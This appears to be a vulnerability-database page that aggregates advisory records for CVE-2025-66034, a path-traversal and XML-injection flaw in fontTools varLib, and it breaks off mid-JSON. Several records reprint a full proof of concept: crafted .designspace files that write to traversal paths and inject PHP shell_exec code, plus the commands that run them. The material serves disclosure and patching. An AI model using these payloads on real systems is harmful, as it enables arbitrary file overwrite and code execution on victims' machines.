Vulnerability-Lookup

BREW-FONTTOOLS-CVE-2025-66034 (CVE-2025-66034)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:48 – Updated: 2026-09-12 09:00 – Source website

Summary

fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Details

fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.

Severity

6.3 (Medium)


                    
                      CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

References

URL

Type

	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/fonttools/fonttools/security/a…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2025-66034	ADVISORY
	https://github.com/fonttools/fonttools/commit/a69…	FIX

JSON

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{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "4.60.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "fonttools",
        "purl": "pkg:brew/fonttools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.63.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/fonttools/fonttools",
        "name": "https://github.com/fonttools/fonttools",
        "strategy": "git",
        "subject_version": "4.65.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fonttools@4.65.0",
        "name": "fonttools",
        "strategy": "registry",
        "subject_version": "4.65.0"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/fonttools",
        "name": "fonttools",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/fonttools/fonttools",
        "name": "https://github.com/fonttools/fonttools",
        "strategy": "distro",
        "subject_version": "4.65.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/fonttools@4.65.0",
        "name": "fonttools",
        "strategy": "distro",
        "subject_version": "4.65.0"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/fonttools",
        "name": "fonttools",
        "strategy": "distro"
      }
    ]
  },
  "details": "fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.",
  "id": "BREW-fonttools-CVE-2025-66034",
  "modified": "2026-09-12T09:00:51Z",
  "published": "2026-08-13T16:48:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66034.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66034"
    },
    {
      "type": "FIX",
      "url": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib",
  "upstream": [
    "CVE-2025-66034",
    "GHSA-768j-98cg-p3fv",
    "PYSEC-2026-1389"
  ]
}

CVE-2025-66034 (GCVE-0-2025-66034)

Vulnerability from cvelistv5 – Published: 2025-11-29 01:07 – Updated: 2025-12-01 14:11

Title

fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Summary

Severity

6.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-01 13:56 UTC

CWE

CWE-91 - XML Injection (aka Blind XPath Injection)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/fonttools/fonttools/security/a…	x_refsource_CONFIRM
https://github.com/fonttools/fonttools/commit/a69…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
fonttools	fonttools	Affected: >= 4.33.0, < 4.60.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-66034",
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                  },
                  {
                    "Technical Impact": "partial"
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                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-01T13:56:29.413544Z",
                "version": "2.0.3"
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              "type": "ssvc"
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          "dateUpdated": "2025-12-01T14:11:17.657Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "fonttools",
          "vendor": "fonttools",
          "versions": [
            {
              "status": "affected",
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            }
          ]
        }
      ],
      "descriptions": [
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          "lang": "en",
          "value": "fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "LOW",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
            "version": "3.1"
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              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-29T01:07:12.193Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
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          "name": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
        },
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          "name": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32",
          "tags": [
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      "source": {
        "advisory": "GHSA-768j-98cg-p3fv",
        "discovery": "UNKNOWN"
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      "title": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-66034",
    "datePublished": "2025-11-29T01:07:12.193Z",
    "dateReserved": "2025-11-21T01:08:02.615Z",
    "dateUpdated": "2025-12-01T14:11:17.657Z",
    "state": "PUBLISHED"
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  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-768J-98CG-P3FV

Vulnerability from github – Published: 2025-12-01 19:07 – Updated: 2025-12-01 19:07

Summary

fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Details

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>

  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.

python3 setup.py

Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename

fonttools varLib malicious.designspace

Validate arbitrary file write was performed by looking at path assigned within malicious designspace

cat {{filename_location}}

After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>

When the program is run, we can show we control the contents in the new file

fonttools varLib malicious2.designspace -o file123

Here being outputted to a localised area ignoring filename presented in variable-font

We can look inside file123 to validate user controlled injection

cat file123

to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>

Executing the file and reading looking at the newly generated file

php file123
ls -la /tmp/MEOW123

we can see that the file was just created showing RCE.

Recommendations

Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fonttools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.33.0"
            },
            {
              "fixed": "4.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T19:07:00Z",
    "nvd_published_at": "2025-11-29T01:16:02Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.\n\nThe vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).\n\nOverall this allows attackers to:\n- Write font files to arbitrary locations on the filesystem\n- Overwrite configuration files\n- Corrupt application files and dependencies\n- Obtain remote code execution\n\nThe attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.\n\n## Affected Lines\n\n`fontTools/varLib/__init__.py`\n```python\nfilename = vf.filename # Unsanitised filename\noutput_path = os.path.join(output_dir, filename) # Path traversal\nvf.save(output_path) # Arbitrary file write\n```\n\n## PoC\n1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/\u003cusername\u003e/testing/demo/` (will impact relative file location within malicious.designspace)\n\n`setup.py`\n```python\n#!/usr/bin/env python3\nimport os\n\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\n\ndef create_source_font(filename, weight=400):\n    fb = FontBuilder(unitsPerEm=1000, isTTF=True)\n    fb.setupGlyphOrder([\".notdef\"])\n    fb.setupCharacterMap({})\n    \n    pen = TTGlyphPen(None)\n    pen.moveTo((0, 0))\n    pen.lineTo((500, 0))\n    pen.lineTo((500, 500))\n    pen.lineTo((0, 500))\n    pen.closePath()\n    \n    fb.setupGlyf({\".notdef\": pen.glyph()})\n    fb.setupHorizontalMetrics({\".notdef\": (500, 0)})\n    fb.setupHorizontalHeader(ascent=800, descent=-200)\n    fb.setupOS2(usWeightClass=weight)\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"Test\", \"styleName\": f\"Weight{weight}\"})\n    fb.save(filename)\n\nif __name__ == \u0027__main__\u0027:\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\n    create_source_font(\"source-light.ttf\", weight=100)\n    create_source_font(\"source-regular.ttf\", weight=400)\n```\n\n`malicious.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n  \u003caxes\u003e\n    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n  \u003c/axes\u003e\n  \n  \u003csources\u003e\n    \u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n    \u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n  \u003c/sources\u003e\n  \n  \u003c!-- Filename can be arbitrarily set to any path on the filesystem --\u003e\n  \u003cvariable-fonts\u003e\n    \u003cvariable-font name=\"MaliciousFont\" filename=\"../../tmp/newarbitraryfile.json\"\u003e\n      \u003caxis-subsets\u003e\n        \u003caxis-subset name=\"Weight\"/\u003e\n      \u003c/axis-subsets\u003e\n    \u003c/variable-font\u003e\n  \u003c/variable-fonts\u003e\n\u003c/designspace\u003e\n```\n\nOptional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.\n\n2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.\n```bash\npython3 setup.py\n```\n3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename\n```bash\nfonttools varLib malicious.designspace\n```\n4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace\n```bash\ncat {{filename_location}}\n```\n5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.\n\n`malicious2.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n\t\u003caxes\u003e\n        \u003c!-- XML injection occurs in labelname elements with CDATA sections --\u003e\n\t    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"\u003e\n\t        \u003clabelname xml:lang=\"en\"\u003e\u003c![CDATA[\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]]]\u003e\u003c![CDATA[\u003e]]\u003e\u003c/labelname\u003e\n\t        \u003clabelname xml:lang=\"fr\"\u003eMEOW2\u003c/labelname\u003e\n\t    \u003c/axis\u003e\n\t\u003c/axes\u003e\n\t\u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n\t\u003csources\u003e\n\t\t\u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\t\u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\u003c/sources\u003e\n\t\u003cvariable-fonts\u003e\n\t\t\u003cvariable-font name=\"MyFont\" filename=\"output.ttf\"\u003e\n\t\t\t\u003caxis-subsets\u003e\n\t\t\t\t\u003caxis-subset name=\"Weight\"/\u003e\n\t\t\t\u003c/axis-subsets\u003e\n\t\t\u003c/variable-font\u003e\n\t\u003c/variable-fonts\u003e\n\t\u003cinstances\u003e\n\t\t\u003cinstance name=\"Display Thin\" familyname=\"MyFont\" stylename=\"Thin\"\u003e\n\t\t\t\u003clocation\u003e\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\u003c/location\u003e\n\t\t\t\u003clabelname xml:lang=\"en\"\u003eDisplay Thin\u003c/labelname\u003e\n\t\t\u003c/instance\u003e\n\t\u003c/instances\u003e\n\u003c/designspace\u003e\n```\n\n6. When the program is run, we can show we control the contents in the new file\n```bash\nfonttools varLib malicious2.designspace -o file123\n```\nHere being outputted to a localised area ignoring filename presented in variable-font\n\n7. We can look inside file123 to validate user controlled injection\n```bash\ncat file123\n```\nto show `\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]\u003e`\n\n8. Executing the file and reading looking at the newly generated file\n```bash\nphp file123\nls -la /tmp/MEOW123\n```\nwe can see that the file was just created showing RCE.\n\n## Recommendations\n\n- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system",
  "id": "GHSA-768j-98cg-p3fv",
  "modified": "2025-12-01T19:07:00Z",
  "published": "2025-12-01T19:07:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fonttools/fonttools"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib"
}

PYSEC-2026-1389

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24

Details

Summary

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>

  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.

python3 setup.py

Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename

fonttools varLib malicious.designspace

Validate arbitrary file write was performed by looking at path assigned within malicious designspace

cat {{filename_location}}

After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>

When the program is run, we can show we control the contents in the new file

fonttools varLib malicious2.designspace -o file123

Here being outputted to a localised area ignoring filename presented in variable-font

We can look inside file123 to validate user controlled injection

cat file123

to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>

Executing the file and reading looking at the newly generated file

php file123
ls -la /tmp/MEOW123

we can see that the file was just created showing RCE.

Recommendations

Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

Impacted products

Name	purl
fonttools	pkg:pypi/fonttools

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fonttools",
        "purl": "pkg:pypi/fonttools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.33.0"
            },
            {
              "fixed": "4.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.33.0",
        "4.33.1",
        "4.33.2",
        "4.33.3",
        "4.34.0",
        "4.34.1",
        "4.34.2",
        "4.34.3",
        "4.34.4",
        "4.35.0",
        "4.36.0",
        "4.37.0",
        "4.37.1",
        "4.37.2",
        "4.37.3",
        "4.37.4",
        "4.38.0",
        "4.38.1.dev0",
        "4.39.0",
        "4.39.1",
        "4.39.2",
        "4.39.3",
        "4.39.4",
        "4.40.0",
        "4.41.0",
        "4.41.1",
        "4.42.0",
        "4.42.1",
        "4.43.0",
        "4.43.1",
        "4.44.0",
        "4.44.1",
        "4.44.3",
        "4.45.0",
        "4.45.1",
        "4.46.0",
        "4.47.0",
        "4.47.2",
        "4.48.1",
        "4.49.0",
        "4.50.0",
        "4.51.0",
        "4.52.1",
        "4.52.3",
        "4.52.4",
        "4.53.0",
        "4.53.1",
        "4.54.0",
        "4.54.1",
        "4.55.0",
        "4.55.1",
        "4.55.2",
        "4.55.3",
        "4.55.4",
        "4.55.5",
        "4.55.6",
        "4.55.7",
        "4.55.8",
        "4.56.0",
        "4.57.0",
        "4.58.0",
        "4.58.1",
        "4.58.2",
        "4.58.3",
        "4.58.4",
        "4.58.5",
        "4.59.0",
        "4.59.1",
        "4.59.2",
        "4.60.0",
        "4.60.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66034",
    "GHSA-768j-98cg-p3fv"
  ],
  "details": "## Summary\n\nThe `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.\n\nThe vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).\n\nOverall this allows attackers to:\n- Write font files to arbitrary locations on the filesystem\n- Overwrite configuration files\n- Corrupt application files and dependencies\n- Obtain remote code execution\n\nThe attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.\n\n## Affected Lines\n\n`fontTools/varLib/__init__.py`\n```python\nfilename = vf.filename # Unsanitised filename\noutput_path = os.path.join(output_dir, filename) # Path traversal\nvf.save(output_path) # Arbitrary file write\n```\n\n## PoC\n1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/\u003cusername\u003e/testing/demo/` (will impact relative file location within malicious.designspace)\n\n`setup.py`\n```python\n#!/usr/bin/env python3\nimport os\n\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\n\ndef create_source_font(filename, weight=400):\n    fb = FontBuilder(unitsPerEm=1000, isTTF=True)\n    fb.setupGlyphOrder([\".notdef\"])\n    fb.setupCharacterMap({})\n    \n    pen = TTGlyphPen(None)\n    pen.moveTo((0, 0))\n    pen.lineTo((500, 0))\n    pen.lineTo((500, 500))\n    pen.lineTo((0, 500))\n    pen.closePath()\n    \n    fb.setupGlyf({\".notdef\": pen.glyph()})\n    fb.setupHorizontalMetrics({\".notdef\": (500, 0)})\n    fb.setupHorizontalHeader(ascent=800, descent=-200)\n    fb.setupOS2(usWeightClass=weight)\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"Test\", \"styleName\": f\"Weight{weight}\"})\n    fb.save(filename)\n\nif __name__ == \u0027__main__\u0027:\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\n    